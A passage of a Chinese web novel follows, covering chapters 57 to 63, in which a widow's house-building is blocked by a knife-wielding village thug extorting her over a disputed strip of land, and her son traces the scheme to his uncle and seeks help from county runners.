《让我弑母换荣华？这世子不当也罢！》 第57章 破财免灾 第五十七章 破财免灾 张顺子做泥瓦匠这么多年，遇到过很多次这样的事，他应该有解决办法。 看姜梅手足无措的样子，张顺子轻轻叹气，家里还是要有个男人才能顶得住门头。 他从后腰抽出烟袋锅，从灶膛里拿出一根吸柴点燃，深深地吸一口说： “主家，要我看，把您儿子叫回来，让他看看这件事怎么处理。” 这些年张顺子盖房，也见过不少人，他能看出，杨云是个很有主意的人。 他就算再有办法，毕竟也只是个泥瓦匠，不该越俎代庖替主家处理事。 “不行！” 没想到张顺子的建议，被姜梅不假思索地否定，她摇着头说： “张师傅，我儿子在学堂上学，准备考童生，不能因为这点小事打扰他。” 之前杨云因为灭门案的事，耽误不少功课，刚追上来，不能再误。 张顺子又抽两口烟，沉思片刻后说：“既然您不想通知令郎，那我给你出个主意，破财免灾。” “这些人想要的是钱，我估计有个一二两银子能打发走，只是这钱，不算少。” 一二两银子等于是庄户人家一二月的收入，姜梅要盖房子，未必还能拿出这么多钱。 听到只要一二两银子能把人打发走，姜梅如释重负地叹气，“那我去拿银子。” 知县赏杨云五十两银子，姜梅做衣服又赚十几两，拿出一二两不是问题。 眼看姜梅这要去拿钱，张顺子连忙拦住她，无奈地笑着说： “主家，就算是破财免灾，也没有你这么给钱的。你这不是明摆着告诉他们，你还有钱。” 外面那些泼皮无赖，如果看到姜梅轻松拿出银子，定然会临时变卦，开出更高的价。 这些人眼里只有钱，什么信誉，脸面在他们看来全都不重要。 姜梅以前没跟这种人打过交道，不知道这里面的门道，只能虚心请教，“张师傅，你说我该怎么给？” 张顺子从厨房的缝隙往外看一眼，见那些地痞还在等着，小声叮嘱说： “你要先去跟他们吵一架，假装舍不得这一尺地，问他们怎么办。” “他们肯定会跟你要钱，你再跟他们杀价，杀得越狠越好，我和兄弟们会给你助威。” 再怎么说，姜梅是个妇道人家，那些无赖要是动手打女人，以后没法在外面混。 姜梅听话地点点头，深吸一口气，和张顺子一前一后从厨房里走出来。 她走到那些无赖面前，目光从众人脸上扫过，淡淡地问： “不知道是谁说，我们家盖房子，占他们家的地了？” 为首的汉子歪头看着姜梅，脸上带着一丝猥琐的笑容，盛气凌人地说： “是我们家！难道你还想不承认？” 姜梅看看汉子。 她在青山村住十八年，村里的人基本认识，却对这人一点印象都没有。 她皱眉问道：“你是谁？我怎么从来没有在村里见过你？你是我们村的吗？” 如果汉子不是青山村的，姜梅立刻能叫村里人把他们赶走，外面的人敢在青山村欺负村里人，简直是不知道死字怎么写。 听到姜梅的话，汉子歪嘴笑一声，不紧不慢地说： “玉明家的，你不认识我？我告诉你，我大名叫杨元贞，在村里有个外号叫针尖，逮谁扎谁。想起来了吧？” 姜梅听到针尖这个名字，脸色不由得微微一变。 之前青山村确实有个小孩叫杨元贞，从小是个泼皮无赖，村里人几乎都被他讹过。 前几年这孩子觉得青山村混不出名堂，跑到县城去，从那以后断了音讯。 原本村里人以为杨元贞死在县城里，没想到今天他又回来。 确定人是村里之前的泼皮，姜梅壮着胆子说： “原来是你啊，你好多年没回村里来了，我都差点没认出来。” “但这哪是你的地？这明明是我们家的地，根本没占你的地方。” 姜梅一直是个很守本分的人，根本干不出占别人地的事，杨元贞纯属胡说八道。 没想到杨元贞竟从怀里拿出一张地契，理直气壮地说：“你好好看看，你们家旁边的地已经卖给我，你还敢说没占我的地？” 见到杨元贞竟有地契，姜梅大为诧异，凑近后才看清，卖地的人竟是二叔杨玉昭！ 姜梅心里有些憋屈窝火，没想到杨玉昭居然又来捣乱！ 在心里骂一番二叔，姜梅憋着气对杨元贞说：“针尖，既然咱们都是一个村子的，你看在同村人的份上，不要计较这件事了。” 跟着杨元贞的那些小弟，听到姜梅直呼老大外号，纷纷躁动起来，“你这小娘们说什么？” “我们老大的外号也是你能叫的，叫元哥！” 杨元贞微微抬头，让小弟们不要吭声，看着姜梅说：“不要计较？行，我可以不跟你计较占我们家地的事，但我有一个条件。” “等你这大瓦房盖好，让我们弟兄先进去住三个月呗。时间一到，我们立刻搬出来，咱们两家的事也算是扯平。” 听到杨元贞要住新房，姜梅立刻摇头，这些泼皮无赖每天早出晚归，还经常带人回家，要是让他们住上三个月，不知道会把房子祸害成什么样子。 姜梅心里记着，刚才张顺子跟她说的话，假装被吓地说： “这地基坑都挖出来了，总不能再填回去吧？你看能不能用别的办法解决？” 按照张顺子的猜测，接下来杨元贞该要钱了，姜梅再杀杀价，定能用钱赶走这些人。 没想到，事情根本没按照张顺子的猜测发展，杨元贞将地契收回，冷冷地看着姜梅， “不，我要我们家的地！不把这点地给我填回来，你们别想继续盖房子！” 姜梅转头看看张顺子，见他也一脸疑惑，只能随机应变， “元贞，地基挖开不能填了，不如我给你点银子，算是买下你这点地怎么样？” 第58章 族老评理 第五十八章 族老评理 姜梅知道，其实这一尺地是她的，只是她不想把事闹大，只要息事宁人。 杨元贞眉头一挑，似对姜梅的提议有些心动，沉吟着问： “你能出多少银子？” 见到杨元贞意动，姜梅轻轻出一口气，试探着竖起两根手指， “一尺地，我给你二两银子怎么样？” 这个价格很有诚意，青山村的地一亩也才是四五两银子。 后面的张顺子微微皱一下眉，却什么都没说。 他觉得姜梅价格开得有点高，但看杨元贞的难缠样子，不开高点他肯定不走。 没想到的是，杨元贞听到姜梅的报价，不屑地嗤笑一声，翻个白眼说： “姜氏，你以为我是叫花子，二两银子想打发我？” 听到二两银子都不行，姜梅皱眉想一会，咬着牙又开一个价，“五两！这是我能开出的最高价，你拿钱赶紧走。” 其实除盖房子的钱，姜梅还能拿出二十多两，但她不可能把所有的钱都给杨元贞。 否则只会引来杨元贞一遍又一遍的敲诈。 杨元贞听到五两银子有些心动，但想想那人交代的话，他冷笑一声说：“五两银子？我告诉你，想要买这一尺地也行，我们兄弟六个，每人五十两！” “只要你拿出银子，我们立刻就走！” 六个人，每个人五十两，那是三百两银子！ 有这么多银子，都再盖十间瓦房了，还用得着在这里跟杨元贞打嘴仗？ 再说姜梅一个寡妇，只能靠做衣服挣钱，她哪里能拿出这么多银子！ “杨元贞，你有点欺人太甚了！”姜梅听到杨元贞的出价，眼前一黑差点栽倒，指着他愤怒地说。 没想到杨元贞根本不在乎，抱着膀子站在地基之前，满不在乎地说：“你不是说要买我的地吗？我开了价，你买不起就买不起，说什么欺人太甚？” “是不是我得把地白送给你，这样才不叫欺人太甚？” 这几年杨元贞一直在县城里混，强词夺理十分在行，姜梅根本说不过他。 看杨元贞得意的样子，姜梅咬着嘴唇，声音中带着哭腔说： “你……你……你别走，我去找族老评理！” 杨元贞哼一声，跟几个兄弟找个阴凉地方坐下，拿着葫芦喝起酒。 姜梅急匆匆跑到族老家里，把事说一遍，请族老做主。 听到杨元贞这个无赖回来，杨四德眉头紧皱吩咐下人去把其他几位族老叫上，一起去看看，杨元贞到底想干什么。 杨元贞兄弟六个，把一壶酒喝完，杨四德带着浩浩荡荡的队伍走过来。 在他的身边，姜梅微微仰着头，显然是觉得，只要杨四德出马，杨元贞得赶紧跑。 但杨元贞见到这么多人一起来，脸上没有丝毫惧怕，反而嬉皮笑脸地站起来拱手说： “元贞给几位族老见礼。这几年没见，您几位的身体还康健吗？” 相比以前一见面骂老不死，杨元贞懂礼貌多了。 杨四德轻轻地点点头，算是回应过杨元贞，看着他说： “元贞，看你说话，这几年你在县城里应该学得不少东西，我很欣慰。” “可，怎么刚回来跟咱们村人起争执呢？这不是回家该有的态度。” 族老这番话先捧后贬，既是对杨元贞的警告，又给他留足够的面子。 再怎么说，杨元贞也是青山村的人，不能见面喊打喊杀。 眼看族老这么说，杨元贞做出一副委屈的样子，满脸为难地解释说：“德爷爷，我这几年在县城挣点小钱，想回来买块地盖房子，过日子，这个不算错吧？” 杨四德微微点头，老成持重地说：“你要是肯安心过日子，就是浪子回头，当然不算错。” 落叶归根，这是人之常情，杨元贞回村买地盖房子，怎么说也不是错。 见到族老点头，杨元贞才接着说：“但我拿着地契回来一看，我的地竟被人占了！你说我能不生气吗？” “幸好这几年，我在城里学到不少东西，又念着同村情分，好声好气地让她把地还回来。” “要是换我以前的脾气，早就去她家大闹一通了！” 听到杨元贞的话，杨四德半信半疑，这小子出去几年，难道真改好了？ 他看看满脸委屈的杨四德，又看向气得不行的姜梅，皱眉问道：“姜氏，事情到底是怎么样？你放心说，我给你撑腰。” 姜梅见有人撑腰，胆气壮起来，看着杨元贞说： “族老，今天我们家开挖地基，可刚干一会儿，杨元贞说那是他的地，非让我赔给他！” “但画线的时候，是在我们家的地上画的，怎么可能会占他的地？” 看姜梅气愤的样子，杨四德心中信她的说辞。 杨元贞这几年在县城里学奸诈，竟知道笑里藏刀了。 杨四德轻轻咳一声，抬头看着杨元贞说：“你说姜氏占你家的地，你有什么证据，说那里是你的地？” 早料到族老反应的杨元贞，立刻把地契拿出来，指着上面说： “族老您看，这上面说，从路边这棵杨树开始，东西五丈，南北六丈都是我的。” 杨四德看看地契上的方位，发现那棵杨树正好卡在杨元贞和姜梅两家的中间，两家谁都可以说这一尺是他们家的。 这让杨四德很是头疼，不管把这一尺地分给谁，剩下的人肯定不干，要是平分，两家都不干。 他沉吟片刻，抬头看着杨元贞说： “元贞，你的地还没有动工，姜氏又是个寡妇，挺不容易的，你让让她怎么样？” 这种两边都有理的事，族老只能通过说情来解决，不然事情只会越闹越大。 听到族老让他退一步，杨元贞吧唧一下嘴，歪着头说：“族老，我在外面这么多年，不能一回来您欺负我吧？” “姜氏是个寡妇怎么了，又不是我让她守寡的，凭什么我要让着她？” 第59章 得寸进尺 第五十九章 得寸进尺 杨元贞的话虽然有点难听，但确实很有道理，不能因为她是寡妇，让杨元贞吃亏。 眼看杨元贞油盐不进，杨四德转头看向姜梅，低声劝说：“姜氏，这块地在你们两家中间，你确实占一点杨元贞的地方。” “你看这样行不行，你出点银子补偿一下他，毕竟远亲不如近邻嘛。” 姜氏在村里一向是好脾气，只有有人求她帮忙，从来不会拒绝。 没想到，姜氏今天却一反常态，气呼呼地看着族老说：“族老，我之前跟杨元贞提过这件事，可你问问，他要多少银子？” 杨四德见姜氏口风有些松动，嘴角不由得露出一丝笑意，只要不是两边都不想退让就行。 至于补偿的银子，无非多少而已，大家总能商量出个结果。 “元贞，你想要多少银子补偿？” 乐呵呵的杨四德转头看向杨元贞，只要解决这件事，他在村里的威望又能上个台阶。 没想到杨元贞看着他，面不改色心不跳地说：“我和我兄弟，每人五十两，总共三百两！” 杨四德被这个数字吓得不停咳嗽，剩下的几位族老也纷纷皱起眉头，一尺地敢要三百两银子，这哪是什么补偿，分明是讹诈！ 过好一会儿，杨四德终于止住咳嗽，冲着杨元贞骂道：“三百两银子，你小子是吃大户来了吗？你看看姜家住的房子，怎么好意思要这么多？” 杨元贞丝毫不为所动，油盐不进地对杨四德说： “他家住什么房子，关我什么事？想要我这块地，把银子拿来，一分不能少！” 这个价格实在是离谱，杨四德只能苦口婆心地劝杨元贞降一点。 很快，全村都知道姜氏动工的第一天出事了，看热闹的人围个里三层外三层。 “元贞，这里都是咱们村的人，你看在我的面子上，给个实惠价怎么样？”杨四德眼看人越来越多，脸上有些挂不住，再次问道。 杨元贞依旧是刚才那个态度，“三百两银子，一分都不能少！” 眼看杨元贞这么不给面子，杨四德回头冲着姜氏低声说：“姜氏，你把这一尺地让给他，回头我从其他地方加倍补偿你，如何？” 现下不光是姜梅不能盖房子，更重要的是杨元贞这么做，等于公然无视杨四德的权威。 他必须尽快把这件事摆平，让村民看到他的能力。 姜梅眼看人越来越多，心中也有些慌张。 她不想让杨云知道这件事，可要照这个架势闹下去，说不定附近几个村子都会知道，也瞒不住杨云。 虽然族老给的是句空话，但有句空话总比没有强，姜梅权衡片刻，点点头答应下来， “既然族老开口，那我把这一尺地让给他。” 眼看姜梅这么懂事，杨四德满意地点点头，转身对杨元贞说： “既然你这么看重这一尺地，姜氏不跟你争了，全都让给你。” 姜梅走到张顺子这些力工面前，带着几分歉意说： “不好意思张师傅，麻烦你和各位大哥，把刚挖出来的地基坑填上吧。” 事情发展到这个地步，张顺子也看出来，杨元贞是来找茬的，姜梅只能让步。 他心里很同情姜梅，但只能笑着说： “没什么，反正是给你家干活，你让干什么就干什么。” 看着刚挖开的地基又被填上，姜梅瞪杨元贞一眼，转身准备回家。 两家中间的一尺地都给杨元贞，这场闹剧也该结束了。 没想到姜梅刚准备走，杨元贞又开口，“等一下！地的事说清楚，还有一件事没说清楚呢！” 原本四周准备散开的人群又聚集起来，族老杨四德的脸色，也变得十分难看。 姜梅对杨元贞的厌恶达到极点，她站在自家门口，冷冷地问：“还有什么事没说清楚？” 这是杨元贞姜梅第一次见面，除地的事，两人应该没有任何瓜葛才对。 当着众多围观村民的面，杨元贞大言不惭地说： “你知道我为什么买这块地吗？因为有人说过，我住在这里，必然大富大贵，福寿绵长。” “可你挖我家的地，坏我家的风水！” “我以后不能大富大贵福寿绵长，你们家是不是该赔我？” 四周的村民听到杨元贞的话，差点笑出来。 这杨元贞怕不是疯了，竟把算卦的话当真。 姜梅心中积攒的怒气终于忍不住，冲着地上毳了一口说：“谁说的你找谁去，反正我是一个子都不给你！” 杨元贞看看刚才填上的地基坑，冷哼一声说： “你要是不赔我，你们家这房子别盖起来！” “盖东墙我拆东墙，盖西墙我拆西墙，我要看看，咱们谁能耗得过谁！” 族老杨四德听到杨元贞这么无耻，忍不住骂道： “杨元贞，你太过分了！人家姜氏已经退一步，你竟还要咄咄逼人！难道你以为，我们青山村的人是好欺负的吗？” 随着杨四德的话，剩下的族老全都站起来，死死地盯着杨元贞。 周围围观的村民见到族老生气，立刻随声附和着骂道： “杨元贞，你这个混蛋！竟来我们青山村撒野！” “打断他的腿，把他赶出青山村！” “不给他点颜色看看，他以后还会来欺负咱们！” 青山村的村民有很多人都被杨元贞欺负过，甚至抢过钱，有机会报仇，他们自然是最热切的。 见到四周山呼海啸的骂声，杨元贞眼中闪过一丝不屑之色。 他从小在这里长大，对这里的人再了解不过。 这些人看着声势浩大，其实只要镇住带头的，剩下的人自然会缩回去。 想到这里，杨元贞暴喝一声，“兄弟们，亮家伙！” 随着他的喊声，跟着他来的五个人，一起从腰里抽出一把一尺多长的刀子，每把刀都是寒光闪闪，看得让人胆寒。 杨元贞手里拿着刀，转头看一圈周围的村民，脸上带着三分狠辣之色， “哪个不怕死的，过来试试！” 第60章 三天时间 第六十章 三天时间 青山村的村民嘴上喊得热闹，可见杨元贞把刀拔 出 来，立刻缩回去。 杨元贞在村里的时候什么事都敢干，现下又去县城混几年，说不定真敢杀人。 族老见杨元贞拔刀，脸色黑得如同锅底，沉声问道：“小狗子，你到底想干什么？竟对着同村的乡亲拔刀？” 小狗子是杨元贞的小名，杨四德这时喊出这个名字，是想稳住杨元贞，免得真出人命。 听到小名，杨元贞的脸色缓和许多，但依旧无赖地说：“德爷爷，我只想要回属于我的东西，这不算过分吧？” “既然你们仗着人多欺负我，那我只能跟你拼命。杀一个不亏，杀两个赚一个！” 在东平县城待几年，杨元贞也长本事，硬是把一件没理的事，说成他吃亏。 眼看杨元贞一脸混不吝的样子，杨四德皱眉思索片刻，突然迈步向杨元贞走过去。 “族老，你小心！” 见杨四德的举动，围观的村民们不禁一阵骚动，有人大声提醒。 杨元贞手上拿着的短刀，寒光闪闪，绝对开过刃，要是他冲动之下杀死族老，这事没办法收场。 只是杨四德做这么多年族老，也见过不少风浪，摇摇头，看着杨元贞说：“不用担心。再怎么说，元贞是咱们村的人，他不会对我一个老头子动刀。” 听到族老的话，杨元贞坡下驴地点头，“族老德高望重，我不会对您动刀的。” 不到万不得已，杨元贞也不想杀人，还是杀族老这种德高望重的人。 再说一个老头子，就算让他近身，也不会对杨元贞有多大威胁。 在众人的注视下，杨四德走到杨元贞身边，低声问：“元贞，你到底想要多少钱？你给我说个实数，我看姜氏能不能拿出来。” 事情闹到这个地步，让姜氏出钱平息，她应该也不会拒绝，只当是盖房子花超。 杨元贞的眼睛飞快眨几下，用同样低的声音说： “族老，我们这些在外面混的人，最信命。姜氏把我的福气挑散，你说该赔多少银子？” 话说到这个份上，两边已经没办法谈。 就算姜氏愿意破财免灾，杨元贞提出的数目，也绝不是她一个小门小户赔得起的。 想到这里，杨四德重重地叹一口气，冲着杨元贞说： “银子的事咱们稍后再说，你当给德爷爷一个面子，先把刀收起来怎么样？” 杨元贞想想，杨四德离他这么近，要是村民敢冲过来，他拿他当人质，也一样能脱身，顺水推舟地说： “兄弟们，既然族老开金口，那咱们把家伙都收起来。” 跟着杨元贞一起来的五个兄弟，闷闷地应一声，把刀插回去。 原本紧张的气氛放松一些。 趁这个机会，杨四德冲着周围看热闹的村民挥挥手，大声地说： “地里的活都干完了吗？在村里闲逛？这里没事了，你们都赶快回去干活吧！” 村民们面面相觑，虽然心有不甘，但族老发话，他们也只能离开。 等到人都走得差不多，杨四德缓步走到姜梅身前，脸上带着浓浓的歉意说： “姜氏，不是族老不护着你，实在是元贞那小子太浑。” “你们两家的事，只能你们两个私下解决，族老帮不上什么忙。” 听见杨四德说出的话，姜梅心中只觉得一阵委屈上涌，眼眶一红，清亮的泪珠滚下来， “族老你……他都……我一个寡妇，怎么跟他…….” 看着姜梅难过的样子，杨四德心里也不是滋味，但他确实镇不住杨元贞，只能袖手旁观。 姜梅眼看着族老走远，用力地抿抿嘴唇，鼓足勇气走到杨元贞面前，强忍着怒气问：“你说，你到底想要多少银子？只要我能拿得出来，给你就是！” 杨元贞见村民和族老走了，知道这一场是他赢，得意扬扬地说： “我后半辈子的荣华富贵都被你搅了，你说赔多少银子才行？” 见到杨元贞这么说，姜梅知道没必要再谈，干脆扭头回家。 杨元贞等人也不追着她要赔偿，乐呵呵地回到阴凉处继续喝酒。 张顺子等人一直等到太阳西斜，姜梅还没出来，他只能再次敲门进屋。 姜梅的眼睛又红又肿，显然刚才哭得很厉害。 她见张顺子进来，连忙擦擦眼泪说： “张师傅，您有什么事吗？” 看姜梅可怜无助的样子，张顺子轻轻叹一口气说： “主家，我们已经等一天了，要是这么僵持下去，这房子猴年马月也盖不起来。” 听到房子盖不起来，姜梅的眼泪又不由自主地落下来，带着哭腔低声抱怨， “我的命怎么那么苦……” 张顺子无奈地摇摇头，硬起心肠对姜梅说： “主家，我们这些人都是按工算钱，今天在您这白耗一天，等于一点进项都没有。” “这一天我还能压得住下面的人，可要是时间一长……我也知道您是好人，外面那几个是混蛋，但我们都是上有父母下有妻小，着实跟这些无赖耗不起啊。” 姜梅可怜是可怜，可这跟张顺子挣钱一点关系都没有，要是在这里挣不到钱，他得带兄弟们找新活，不然都得喝西北风。 正在哭的姜梅连忙抬头，泪眼蒙眬地看着张顺子，“张师傅，你们不能走！你们要是走了，我家的房子谁来盖？” 张顺子是杨云找来的泥瓦匠，便宜又靠谱，姜梅不想他这么离开。 看着姜梅悲痛欲绝的神色，张顺子无奈地摇摇头说：“主家，我最多再给您三天时间，要是三天之内还不开工，我们得找新活了。” 三天，已经是张顺子看在李乐山的面子上，给出的最长时间，不然他们一天都不敢停。 “兄弟们，收拾家伙回家。” 心情沉重的张顺子叫上人一起回家，等离开杨元贞等人的视线，他才小声吩咐他们，歇息三天，看看这家的情况，再做决定。 姜梅扶着门框，看着张顺子叫上力工们离开，眼泪再次落下。 第61章 幕后主使 第六十一章 幕后主使 杨云回到家的时候，已经是满天星斗。 但他借着稀疏的星光，能看到自家门口已经挑出一点地基，开工应该很顺利。 “娘，我回来了。” 今天姜梅没有在门口等杨云，但杨云也没有计较，径直走进院里，高声叫道。 屋里的姜梅听到杨云的声音，吓一跳，连忙将脸上的泪水擦干净，挤出一副笑容说： “云儿，你回来了。我去给你端……今天太忙晚饭都没做，你稍等一会儿，我马上去做。” 因为太伤心，姜梅没有点油灯，杨云只以为娘是为省钱，没想别的。 他把油灯点着，借着微弱的光芒开始学习。 今天杨云把《论语》全背下来，周仲开始给他讲精义，得好好巩固一下才行。 姜梅在厨房做好饭，盛在碗里给杨云端过去。 平日母子两人都是一起吃饭，但今晚姜梅怕杨云看到她的眼睛红肿，故意找借口说：“云儿，你先吃，娘再去给你烧点水，一会儿你洗洗脚。” 杨云抬头想说不用，可一眼看到姜梅肿得厉害的眼睛，立刻站起来，“娘，你的眼睛是怎么回事？” 姜梅侧着头，假装用手捋头发，稍微遮住眼睛，口中满不在乎地说：“没什么，刚才被烟熏一下，一会儿会好的。” 只是这话根本骗不了杨云，他拿着油灯走到母亲面前，两道剑眉紧紧皱在一起， “娘，烟不能把眼睛熏得肿成这样。到底是怎么回事？” 姜梅还想敷衍几句，把事情糊弄过去，杨云却没有耐心，淡淡地说：“你不说，我去问胖婶，她肯定知道。” 村里的女人几乎每天都要聚在一起拉家常，自家里出什么事，绝逃不过她们的耳朵。 眼看杨云真要出门，姜梅连忙拉住他，带着几分哭腔说： “云儿，真没什么大事，你只管念书就行。” 为杨云安心读书，这房子不盖也没事，反正茅草屋都住十几年，再住十几年也行。 杨云听着母亲明显沙哑的嗓音，脸上的神色更加难看，“娘，您什么事都不跟我，这让我怎么能安心读书？” 姜梅不敢和杨云对视，只能低头看着地面，沉默半晌后才缓缓开口，“今天咱们家破土动工，刚开挖地基，杨元贞来了……” 听到一个混混主动来找茬，逼着自家停一天工，杨云脸色稍缓，温和地安慰姜梅， “娘，一个泼皮无赖？我会想办法解决的，耽误不了读书。” 看姜梅点头，杨云的目光变得冰冷，心中默默想着， “杨元贞是吧？我要看看，这是个什么了不得的人物！” 第二天，杨云起早去四方村，让周仲又上一篇新的讲义，这样晚上能自学。 中午吃饭的时候，他和同学们打个招呼，匆匆忙忙赶回家。 刚到家门口，杨云看到六个神色凶狠，腰间插着短刀的人，坐在自家不远处喝酒吃菜，一副悠然自得的样子。 张顺子坐在门口抽着烟袋，他让那些力工兄弟放假三天，他来看看情况。 见到杨云回来，张顺子连忙起身，冲着他抱拳说：“小哥，你回来这事好办了。” 虽然跟杨云接触的时间不长，但张顺子能看出来，杨云年纪不大，眼界手段都不是一般人能比的，有他出马，事情定然会有个结果。 就算赶不走杨元贞几人，杨云也会让张顺子重新找活，用不着在这三间瓦房上耗时间。 杨云跟张顺子又了解一下昨天的事，确定大差不差后，叫他一起回房吃午饭。 等到中午的日头下去一点后，杨云才端着一壶茶水和几个粗瓷大碗来到杨元贞等人身前。 他笑呵呵地将碗放下，拿着茶壶倒一碗茶，递给杨元贞， “兄弟们在这里坐这么长时间，也挺不容易的，喝口茶吧。” 自杨云回来，杨元贞已注意到他，但杨元贞认为一个毛头小子，不敢对他怎么样。 现下看到杨云主动来敬茶，心中更加觉得这小子是块软骨头。 杨元贞斜着眼睛看一眼杨云，没有伸手接碗，而是轻蔑地说： “小子，敬茶要双手捧碗，脑袋垂下，你懂不懂规矩？” 在县城混多年，杨元贞知道，对付软骨头，要摆出最横的态度，你越横，他越老实。 听到杨元贞的话，杨云轻轻笑一声，反手将茶水泼在地上。 看到这一幕，杨元贞双目一凝，阴沉着脸问：“小子，你这是什么意思？” 杨云将茶碗摞回去，转头看着杨元贞说： “杨元贞杨兄是吧？我要是没记错的话，我们家跟你往日无怨，近日无仇，甚至连照面都没有打过，你为什么要拦着我们家盖房？” 昨晚杨云仔细问过母亲，家里从来都没有得罪过杨元贞，哪怕杨玉明在世的时候，也没跟杨元贞起过冲突。 听到杨云故意装成沉稳的样子，杨元贞眼中闪过一丝好笑，懒洋洋地说：“我昨天不是说过吗？你们家盖房，占到我的地了。” 见杨元贞还用这个理由搪塞，杨云嘴角微微上翘，露出一丝不屑的笑容，“要真是这样，昨天我娘说赔你五两银子，你为什么不答应？” 五两银子，买下那一尺地绰绰有余，但杨元贞偏偏拒绝。 杨元贞仍旧是昨天那一套说辞，“你们家挑地基，坏掉我家的福气，五两银子能顶什么用？” 眼看杨元贞还用这个扯淡的理由搪塞他，杨云也懒得跟他绕弯子，直截了当地说： “真人面前不说假话，我要是没猜错，几位根本不是为那一尺地来的，而是有人花钱请几位，特意来阻我们家盖房子。” 杨元贞的面色微变，没想到杨云猜得这么准，但他眼珠微微一转，耍赖地说：“你说什么我听不懂，我只知道，我家的福气让你们毁掉，你必须得赔。” 见到杨元贞耍无赖，杨云没跟他纠缠，继续说道： “如果我没猜错，那个给你们做地契，让你们来的人，应该是我二叔，杨玉昭！” 第62章 摇人 第六十二章 摇人 姜梅家周围的地都是杨家的，当初杨玉明能在这里盖茅草屋，也是因为，杨家分给他的地在这里。 以杨元贞的脾气，如果不是杨玉昭玩弄手脚，他怎么可能会花钱在青山村买地？ 何况杨云早看出，二叔对自家这块地，有种莫名其妙的执念，一直都想拿走。 这次杨云盖好房子，这块地的价格会直线上涨。 他找人来搞鬼，杨云一点都不意外。 听到杨云准确说出，幕后主使是杨玉昭。 杨元贞面色大变，没想到这小子竟蒙对了！ 但拿人钱财与人消灾，杨元贞的眼睛眯一下，装糊涂说： “你说的什么杨玉昭，我不知道。我只知道你们家盖房，坏掉我家的福气，要是不赔足够的银子，你这辈子都别想盖房！” 杨云知道杨元贞听懂了，他看看自家刚开挖的地基，淡笑着说：“杨元贞，你要是带着你的兄弟们走，我可以当作什么事都没有发生。” “毕竟冤有头债有主，你们只是拿钱办事，我找你们后面的人报仇即可。” 这几个小喽啰，杨云根本没把他们当回事，真正需要提防的人是二叔杨玉昭。 要是知趣，杨云不介意放他们一马，要是不知道进退，杨云也不介意给他们点教训。 听到杨云话里带着威胁，杨元贞脸上泛起阴鸷之色，歪着嘴问：“那我要是非带着兄弟们，留在这儿呢？” 杨云起身，拍拍屁股上的灰，拿起茶壶和大碗，轻描淡写地说： “给你一个时辰，你要是带人离开，我绝不追究。” “一个时辰后，你要是不走，我送你去个好地方待上几个月。” “孰重孰轻，你行考虑。” 扔下这番话，杨云提着茶壶回去读书。 该给的面子他都给了，要是杨元贞仍旧不知进退，那不能怪他不客气。 杨元贞看着杨云的背影，面色阴沉不定。 他能感觉出来，杨云刚才的话不是开玩笑，只是他搞不懂，这小子的底气是从哪来的。 跟着一起来的汉子，凑到杨元贞身边，小声地问： “大哥，咱们该怎么办？那小子说话，好像还挺有气势的。” 杨云从小在天应侯府长大，言谈举止之间，自然带着一股上位者的气度。 尽管他已经不再是侯府世子，十八年养出来的气势却不是轻易会变的。 听到小弟的话，杨元贞伸手在他脑袋上打一下，口中骂道： “一天五百文钱吃喝，还有五百文的酬劳，只要看着他们家不用盖房子即可，这么美的差事，你再给我找一个去？” 小弟讪讪地退回去，杨元贞说得对，这么轻松的活计，不是天天都有的。 看着杨云坐在屋里读书，杨元贞拿起酒葫芦狠狠闷一口，眼中带着狠辣之色说： “小子，老子才不会你几句大话吓跑，我要看看，明天你能送我去什么地方！” 一个时辰后，杨云将周仲上午教得精义背熟，抬头看到杨元贞等人还没走，他把书收好，从母亲那里拿二两银子，溜溜达达地往县城去。 杨元贞冲着一个小弟使个眼色，那人立刻跟在杨云身后。 走到半路，杨云察觉到背后有人跟着，刚开始有些紧张，后来发现是杨元贞的小弟，反而放松下来。 杨元贞只是闹事讹诈，不可能下手杀他。 顺利到达县城，杨云买两坛好酒，来到县衙，送给李乐山。 看到这两坛好酒，李乐山笑得合不拢嘴，拉着杨云坐下，给他倒一杯茶，“兄弟，这次进城怎么有空来找我？” 杨云跟李乐山也算有些交情，没跟他绕弯子，开门见山地说：“李大哥，我这次是想请你帮个忙……” 听杨云讲一遍杨元贞阻拦他们家盖房的事，李乐山重重地拍一下桌子，气愤地说： “几个小混混真把自个儿当成 人物啊，明天哥去给你把这件事平了。” 另外有几个在班房值守的衙役，也纷纷叫着要去给他撑场子，李乐山想着给杨云长面子，大手一挥同意下来。 杨云谢过李乐山，迈着轻快的步子从县衙走出，与一个身穿青色文衫的年轻人擦肩而过。 “兄台请留步。” 一阵淡淡的香味飘过，青衫公子忽然开口叫住杨云。 杨云转身看着叫住他的青衫公子，脸上带着几分疑惑，拱拱手问道：“不知阁下叫我有什么事？” 青衫公子不说话，只是上下打量杨云，片刻后，乌溜溜的大眼睛露出一丝失望，“请问，兄台是不是前几天，破轰动县城的灭门案，那位杨云杨兄？” 看青衫公子面露失望，杨云眉头微皱，淡淡地问道：“正是在下，不知道公子怎么称呼？” 两人是初次见面，这青衫公子却毫不掩饰对他的不满，弄得杨云心里有几分不舒服。 青衫公子微微拱手，声音清脆悦耳，带着几分甜腻，“你叫我崔清即可。不好意思，我还有事，不跟你多聊了，告辞！” 崔清说完后不管杨云的反应，转身离开，口中还不停地念叨着，“真是见面不如闻名，没想到破灭门案的杨云，竟是个这么普通的人……” 杨云听着他的念叨，心中终于忍不住，高声叫道：“崔公子，你怎么这么不懂礼貌？随随便便叫住别人，还当着别人的面说别人的坏话！” 知道他名字甩手走，杨云也忍了，当面说他长得普通，他忍不了！ 不管从哪个角度看，他这张脸都算得上俊美优雅，怎么长得普通了！ 见到杨云莫名其妙地生气，崔清冲着他微微鞠躬，“我不是当着你的面说你的坏话，我是转过去后说的。” “你……”崔清的话把杨云噎得半晌说不出话，只能摆摆手说：“算我倒霉，快走吧快走吧！” 看着杨云无奈的样子，崔清轻轻笑一声，如同山花绽放，让人有种心里暖暖的感觉。 等杨云回过神来，崔清已经走了，他嗅嗅空气中残留的香味，才肯定，崔清是个姑娘！ 第63章 狐假虎威 第六十三章 狐假虎威 怪不得崔清会说他长得普通，估计他把传言中的杨云当成心中偶像，在见到真人的时候，才会那么失望，甚至连礼数都不顾。 杨云苦笑着去买点酒菜，又去文宝坊买点纸笔，一路叹着气回家。 跟在杨云身后的小弟也一起回来，他小声地对杨元真说： “大哥，我看着那小子进县衙了，估计是想告状，请衙役来拿我们。” 听到杨云所谓的办法，是去县衙告状，杨元贞差点把大牙笑掉。 要是县衙里没几个熟人，他们能在东平县混这么长时间？ 等明天衙役来了，他只要打声招呼提提人，这件事算过去了。 看着请来的衙役什么都没干走了，杨云的脸色一定很精彩！ 